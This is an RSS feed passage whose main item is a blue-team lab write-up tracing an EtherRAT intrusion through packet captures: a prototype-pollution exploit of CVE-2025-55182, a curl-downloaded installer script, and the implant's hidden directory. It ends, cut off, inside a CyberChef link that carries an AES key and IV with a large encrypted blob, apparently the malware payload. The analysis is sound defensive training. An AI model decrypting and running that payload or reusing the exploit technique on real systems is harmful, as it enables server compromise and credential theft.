<guid isPermaLink="true">https://tsecurity.de/de/3678054/ai-nachrichten/kdnuggets-weekly-roundup-week-of-july-13-2026/</guid>
<pubDate>Sat, 18 Jul 2026 15:20:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Stop Using If-Else Chains: Use the Registry Pattern in Python Instead • 5 Real-World SQL Projects to Build Your Data Portfolio • 10 YouTube Channels Keeping You Ahead in AI • Structured Language Model Generation with Outlines]]></content:encoded>
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<title><![CDATA[CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]]]></title>
<description><![CDATA[CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]CallMeOnTheChain - EtherRAT | Blue team challenge.You can read this writeup on my GitBook: LinkScenarioSomething is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an un...]]></description>
<link>https://tsecurity.de/de/3677787/hacking/callmeonthechain-etherrat-lab-writeup-cyberdefenders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677787/hacking/callmeonthechain-etherrat-lab-writeup-cyberdefenders/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:21 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*8sxyPDbCie18N5eQqwcpAg.png"></figure><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/callmeonthechain-etherrat/">CallMeOnTheChain - EtherRAT | Blue team challenge.</a></p><blockquote><em>You can read this writeup on my GitBook: </em><a href="https://prankster.gitbook.io/prankster/cyberdefenders/network-forensics/callmeonthechain-etherrat"><em>Link</em></a></blockquote><h4>Scenario</h4><p>Something is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an unauthorized external source. The trail led back to a single server: their public-facing web application. No failed logins, brute force, or phishing were detected, yet the attacker gained entry and established a way to return. This follows a pattern of Maromalix being targeted by attackers leveraging AI-assisted tooling. Using the captured network traffic, reconstruct the timeline and uncover exactly how this breach occurred.</p><h4>Initial Access</h4><blockquote><strong><em>Q1: </em></strong><em>What is the IP address of the attacker that exploited the web application?</em></blockquote><p>By reading the scenario above carefully, we have a public-facing web application asset that got attacked, so let’s start investigation.<br>We are provided here with a pcap file with ssl keys log file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*djEn5vVkPPWI4-Zuw4vMYA.png"><figcaption>Edit →Preferences →Protocols → TLS → (Pre)-Master-Secret log filename</figcaption></figure><p>At first, filtered for http traffic, and took a look at conversations, found the IP for the web-server (<em>arguably</em><em>172.31.44.238 is the web-server IP</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prxEHHiXDwldiYkmurjf_w.png"></figure><p>Narrowing down a little with this query: http.request.method==POST and ip.dst==172.31.44.238 for less packets and better inspection (~300 packets).<br>After following someTLSstreams, found this communication:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7uxT_Pq2pKhmgjsoKDcYrg.png"></figure><p>a weird POST requests generated by a script maybe (User-Agent: python-requests/2.31.0\r\n) and have the same length (339).<br>so, i guess this needs further investigation by adding the source IP address http.request.method==POST and ip.dst==172.31.44.238 and ip.src==63.180.69.24</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D1p1lXAC2hWNAczytNPF8g.png"></figure><p>Actually i couldn’t stop myself from inspecting the fisrtPOST request with a different length, so i followed the TLSstream for this hovered packet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sJnQQUYvDoz7_mQ-Zg2M2Q.png"></figure><p>so it’s a payload that abuses a JavaScript weakness (prototype pollution + constructor escape) to escape normal restrictions, then executes the system command id on the server. After that, it tries to sneak the result back to the attacker by embedding it inside an error response.</p><p>Also, By investigating the second packets with the length &gt; 339:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2j6_wD_L1EvQp6b0XhYa6w.png"></figure><p>we can find this payload also:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfNX_Ty_MI28Y45FDTFqOA.png"></figure><p>So it makes sense now!!</p><blockquote><em>63.180.69.24</em></blockquote><blockquote><strong><em>Q2: </em></strong><em>What is the CVE identifier for the vulnerability exploited in this attack?</em></blockquote><p>from the Lab Name, we can search and get the CVE easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*6UGH92G4CkeLg6z6MlhQww.png"></figure><p>Or by searching for the CVE from the payloads we’ve already identified in the previous question:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tvXhGt3xXzwpJyZVXluBpA.png"></figure><blockquote>CVE-2025–55182</blockquote><h4>Execution</h4><blockquote><strong><em>Q3: </em></strong><em>What is the filename of the script downloaded by the exploit payload to install the malware?</em></blockquote><p>based on paloalto report (<a href="https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/"><strong><em>link</em></strong></a>) we did identified this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ta7zqMAKL97Oyq5Cjt0SKg.png"></figure><p>so, we can filter for the user-agent curl , and GET requests:<br>http.request.method==GET and http.user_agent contains "curl"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*gFVyhvGIYpiXRfe7yp2JYA.png"></figure><blockquote>s.sh</blockquote><blockquote><strong><em>Q4: </em></strong><em>What is the filename of the decrypted implant that serves as the main RAT?</em></blockquote><p>By investigating the bash script file, we can get the correct answer directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*Jwve-sbRgl1XCug_zh-5iw.png"></figure><blockquote>.7vfgycfd01.js</blockquote><h4>Defense Evasion</h4><blockquote><strong><em>Q5: </em></strong><em>What is the hidden directory path used by the malware to store its components?</em></blockquote><p>Investigating the same Bash script file, it’s obvious at the beginning of the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*NtVANhTXHIgdM4Jh8j0riw.png"></figure><blockquote><em>~/.local/share/.05bf0e9b</em></blockquote><blockquote><strong><em>Q6: </em></strong><em>The malware checks system locale to avoid execution in certain regions. What is the first locale code in the blocklist?</em></blockquote><p>since we have the full script, the script contains a Base64 encoded Blob</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WxS9zbDvFI80nTghhlFtnw.png"></figure><p>That is AES Encrypted, with a clear Key and IV as you can see,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PxI3Ys9qw19KJ7GdMcx89w.png"></figure><p>So, Let’s decrypt it properly on cyberchef (<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5'%7D,%7B'option':'UTF8','string':'d4e5f6a7b8c9d0e1'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&amp;input=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